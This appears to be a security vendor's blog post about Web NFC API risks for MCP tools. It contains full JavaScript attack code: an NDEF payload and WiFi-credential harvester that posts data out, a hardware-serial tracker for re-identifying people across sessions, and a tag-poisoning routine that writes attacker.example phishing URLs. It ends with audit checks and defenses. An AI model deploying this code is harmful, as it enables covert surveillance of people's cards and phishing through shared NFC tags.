MCP Server Security · Web NFC API · NDEFReader · NFC Tag Surveillance · RFID · Contactless · Android Chrome

MCP server NFC API security

The Web NFC API — NDEFReader.scan() — gives Android Chrome pages continuous read access to all NFC tags in range with a single one-time permission grant. MCP tool output can silently harvest NDEF payloads from transit cards, access badges, and smart posters, track tag serial numbers across sessions, and overwrite writable NFC tags with attacker-controlled NDEF records.

Web NFC API surface

// Web NFC API — Android Chrome 89+ only
// Single permission grants access to ALL NFC tags in range (no per-tag dialog)
// NDEFReader.scan() fires reading events continuously — no user interaction per scan

const ndef = new NDEFReader();

// Request NFC permission and start scanning (shows permission prompt once)
await ndef.scan();  // one-time permission prompt; subsequent scans require no dialog

// Every NFC tag that enters the device's NFC field fires a reading event
ndef.addEventListener('reading', ({ message, serialNumber }) => {
  console.log('Tag serial:', serialNumber);   // Hardware UID — fixed per physical tag
  console.log('Records:', message.records);   // Array of NDEFRecord objects

  for (const record of message.records) {
    console.log('Type:', record.recordType);   // 'url', 'text', 'mime', 'smart-poster', 'unknown'
    console.log('Data:', new TextDecoder().decode(record.data));
  }
});

ndef.addEventListener('readingerror', (event) => {
  console.log('Read error:', event);
});

// Writing to a writable NFC tag
const writer = new NDEFWriter();
await writer.write({
  records: [
    { recordType: 'url', data: 'https://attacker.example/malicious' }
  ]
});

// Alternatively write via NDEFReader (unified in newer spec draft)
await ndef.write({ records: [{ recordType: 'text', data: 'overwritten' }] });

One permission — all tags: Unlike the Web Bluetooth or WebUSB device picker which presents a per-device chooser, a single NDEFReader.scan() permission grants the page access to every NFC tag that enters range for the lifetime of the session. There is no browser indicator that NFC scanning is active (no persistent badge, no antenna glow, no status bar icon on Android Chrome), and reading events fire passively as the user brings their phone near any NFC object.

Attack 1 — Passive NFC tag payload surveillance

Once the NFC permission is granted, NDEFReader.scan() delivers reading events silently for every tag in range. Tags encountered in daily life carry sensitive NDEF data: transit cards (Oyster, Suica, ORCA) encode balance and journey history in NDEF or proprietary format records; corporate access badges frequently embed NDEF URI records pointing to internal directory pages including employee ID parameters; smart posters in retail carry tracking URLs with store location codes embedded as query parameters; NFC business cards contain full contact vCards including phone numbers, email addresses, and company affiliations. All of this data reaches the reading event handler without any secondary dialog, user gesture, or visual indication that a read occurred. An MCP tool installed as a browser extension or running in a persistent background tab can accumulate this data across every NFC interaction throughout the user's day.

// Attack: continuous NDEF payload harvester — fires on every NFC tag in range
// No dialog after initial scan() permission — records accumulate silently

class NFCSurveillance {
  constructor() {
    this.log = [];
    this.ndef = new NDEFReader();
  }

  async start() {
    // One-time permission prompt; after grant, scan() is silent on every new tag
    await this.ndef.scan();

    this.ndef.addEventListener('reading', ({ message, serialNumber }) => {
      const entry = {
        serialNumber,       // Hardware UID — identifies specific physical tag
        timestamp: new Date().toISOString(),
        records: []
      };

      for (const record of message.records) {
        const payload = {
          type: record.recordType,
          mediaType: record.mediaType ?? null,
          id: record.id ?? null,
        };

        // Decode text and URL records (most common types on real-world tags)
        try {
          if (record.recordType === 'text' || record.recordType === 'url') {
            payload.text = new TextDecoder().decode(record.data);
          } else if (record.recordType === 'mime') {
            // vCard (text/vcard), WiFi credential (application/vnd.wfa.wsc), etc.
            payload.base64 = btoa(String.fromCharCode(...new Uint8Array(record.data)));
            payload.text = new TextDecoder('utf-8', { fatal: false }).decode(record.data);
          } else {
            // Raw bytes for smart-poster, external type, unknown
            payload.bytes = Array.from(new Uint8Array(record.data))
              .map(b => b.toString(16).padStart(2, '0')).join(' ');
          }
        } catch (e) { payload.decodeError = e.message; }

        entry.records.push(payload);
      }

      this.log.push(entry);
      this.exfiltrate(entry);
    });
  }

  async exfiltrate(entry) {
    await fetch('/api/nfc-log', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(entry)
    });
  }
}

// Real-world tag types harvested by this attack:
// - Transit card NDEF URI: ndef://oyster/balance?v=1240 (£12.40 stored value)
// - Corporate badge NDEF URI: https://directory.corp.example/employee?id=EMP-04821
// - Business card MIME text/vcard: full vCard with name, phone, email, org
// - Smart poster URL: https://store.example/promo?loc=NYC-5TH-AVE&tag=ABCD1234
// - WiFi credential: application/vnd.wfa.wsc — SSID + WPA2 PSK in cleartext

Attack 2 — Tag serial number tracking across sessions

The serialNumber property on the reading event contains the NFC tag's hardware UID — a value burned into the chip at manufacture that does not change and cannot be reset by the user. For ISO 14443-A tags (which includes the vast majority of contactless payment cards, transit cards, and access badges) the UID is 4 bytes (single size) or 7 bytes (double size). This UID survives all user-side resets: clearing browser data, resetting app permissions, uninstalling and reinstalling browsers, and even factory resetting the Android device (since the UID belongs to the physical card, not the phone). An MCP tool that records serialNumber values on first encounter and re-detects them on subsequent visits can build a persistent physical-world identity for the user based on which cards they carry in their wallet, without any login or persistent cookie.

// Attack: NFC serial number identity graph — cross-session physical-world tracking
// serialNumber is burned into hardware — survives browser data clears and app reinstalls

class NFCIdentityTracker {
  constructor() {
    this.knownTags = new Map();  // serialNumber → { firstSeen, lastSeen, count, type }
    this.ndef = new NDEFReader();
  }

  async start() {
    await this.ndef.scan();

    this.ndef.addEventListener('reading', ({ message, serialNumber }) => {
      const now = Date.now();

      if (this.knownTags.has(serialNumber)) {
        const tag = this.knownTags.get(serialNumber);
        tag.lastSeen = now;
        tag.count++;
        // Re-identified: this physical card was seen before
        this.exfiltrate({ event: 'returning_tag', serialNumber, ...tag });
      } else {
        // First time this physical card has been seen
        const newTag = {
          firstSeen: now,
          lastSeen:  now,
          count:     1,
          // Infer card type from record patterns
          inferredType: this.inferCardType(message.records)
        };
        this.knownTags.set(serialNumber, newTag);
        this.exfiltrate({ event: 'new_tag', serialNumber, ...newTag });
      }
    });
  }

  inferCardType(records) {
    // Heuristic card type inference from NDEF record shape
    if (records.some(r => r.mediaType === 'text/vcard'))   return 'business_card';
    if (records.some(r => r.mediaType === 'application/vnd.wfa.wsc')) return 'wifi_credential';
    if (records.some(r => r.recordType === 'url' && r.data?.byteLength < 50)) return 'smart_poster';
    if (records.length === 0) return 'blank_or_proprietary';  // transit/payment cards are often blank NDEF
    return 'unknown_ndef';
  }

  async exfiltrate(data) {
    await fetch('/api/nfc-identity', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(data)
    });
  }
}

// Cross-session outcome:
// - User's transit card (Suica, Oyster, ORCA) detected on visit 1: serialNumber stored
// - User returns next week: same serialNumber fires — user re-identified from physical wallet
// - Build a wallet profile: "this user carries 3 cards: transit, corporate badge, gym membership"
// - Multiple sites running the tracker create a cross-origin physical identity graph

Clearable only from OS settings: NFC tag serial numbers belong to physical objects the user carries. Clearing browser history, cookies, and site data does not remove the tag from the user's wallet. The only user action that breaks serial tracking is presenting a different card, using an NFC-blocking wallet sleeve, or disabling NFC entirely in Android settings.

Attack 3 — NDEF write poisoning of shared NFC infrastructure

The NDEFWriter.write() method (or NDEFReader.write() in the newer unified spec) rewrites the NDEF payload of any unlocked, writable NFC tag. Most commercially available NTAG213/215/216 tags (the type sold in bulk for smart poster and IoT deployments) ship in a writable state with no write protection. An MCP tool can silently overwrite a writable tag in range — a smart poster in a retail window, a conference badge, a shared NFC door tag — with a new NDEF record. The most impactful overwrite is replacing the URL record with an attacker-controlled phishing URL, because the next device that scans the tag will open the attacker's page without any visible indication that the URL changed.

// Attack: NDEF write poisoning — replace legitimate URL with attacker-controlled URL
// Targets unlocked NTAG213/215/216 tags — the default state of most commercial NFC stickers

async function ndefWritePoison(targetUrl) {
  const ndef = new NDEFReader();
  await ndef.scan();

  // Wait for the next writable tag to enter range
  ndef.addEventListener('reading', async ({ message, serialNumber }) => {
    // Check if tag appears writable (blank NDEF or simple URL record — not write-protected)
    const isLikelyWritable =
      message.records.length === 0 ||
      (message.records.length === 1 && message.records[0].recordType === 'url');

    if (!isLikelyWritable) return;

    try {
      await ndef.write({
        records: [
          {
            recordType: 'url',
            data: targetUrl   // https://attacker.example/phishing
          }
        ]
      });

      // Tag is now poisoned: next device to scan opens attacker URL
      await fetch('/api/poisoned-tags', {
        method: 'POST',
        body: JSON.stringify({ serialNumber, targetUrl, timestamp: Date.now() })
      });

    } catch (writeError) {
      // Write-protected tag: log serial but cannot overwrite
      console.log('Write-protected tag:', serialNumber, writeError.message);
    }
  });
}

// Attack variants:
// 1. Smart poster poisoning: replace store product URL with phishing page
// 2. Conference badge overwrite: replace contact info with phishing URL
// 3. WiFi credential substitution: replace legitimate SSID/PSK with rogue AP credentials
//    (application/vnd.wfa.wsc MIME type — Android prompts to "join network")
// 4. vCard injection: replace legitimate business card with spoofed contact detail

What SkillAudit checks

HIGH
NDEFReader reading event data (NDEF records, serialNumber) transmitted to an external endpoint — harvests sensitive NDEF payloads from transit cards, access badges, business cards, and smart posters in range without any per-scan dialog; serialNumber enables persistent physical-world identity tracking across sessions.
HIGH
NDEFReader serialNumber stored to IndexedDB, localStorage, or transmitted externally across multiple reading events — builds a cross-session physical wallet identity graph from hardware UIDs burned into NFC chips; survives all browser data clears since the UID belongs to the physical card.
HIGH
NDEFWriter.write() or NDEFReader.write() called in a reading event handler with an attacker-controlled URL record — poisons writable NFC tags in range by replacing legitimate NDEF payloads with phishing URLs, WiFi rogue AP credentials, or spoofed contact data affecting all future devices that scan the tag.
MEDIUM
NDEFReader.scan() called without user-visible context and reading events logged with timestamps — even boolean presence (tag detected / not detected) and timing data reveals physical location context, revealing when the user is near NFC-tagged environments (retail stores, offices, transit stations).
LOW
MIME record data decoded and transmitted — particularly application/vnd.wfa.wsc (WiFi credentials) or text/vcard (contact info) — WiFi credential records contain SSID and WPA2 PSK in plaintext; vCard records contain email addresses and phone numbers without secondary consent.

Browser support and Permissions-Policy

PlatformNDEFReader.scan()NDEFWriter.write()Permissions-PolicyPermission prompt
Android Chrome 89+Full supportFull supportnfc=() blocks APIOne-time prompt; no per-scan indicator
Chrome for DesktopNot supportedNot supportedN/AN/A
Firefox (all)Not supportedNot supportedN/AN/A
Safari (all)Not supportedNot supportedN/AN/A
WebView (Android)Disabled by defaultDisabled by defaultVia manifestN/A

Defenses: The Permissions-Policy: nfc=() directive blocks Web NFC entirely for the page and all iframes. For MCP tool deployments targeting mobile users, audit any call to NDEFReader.scan() that transmits serialNumber or record data externally. Users can revoke the NFC permission from Android Settings → Apps → [Browser] → Permissions → NFC, or from the site permissions entry in Chrome. Disabling NFC at the Android hardware level (Settings → Connected devices → NFC toggle) prevents all NFC reads regardless of browser permissions.

Audit your MCP server →

Related: Web Bluetooth API security · WebUSB API security · WebHID API security · All security posts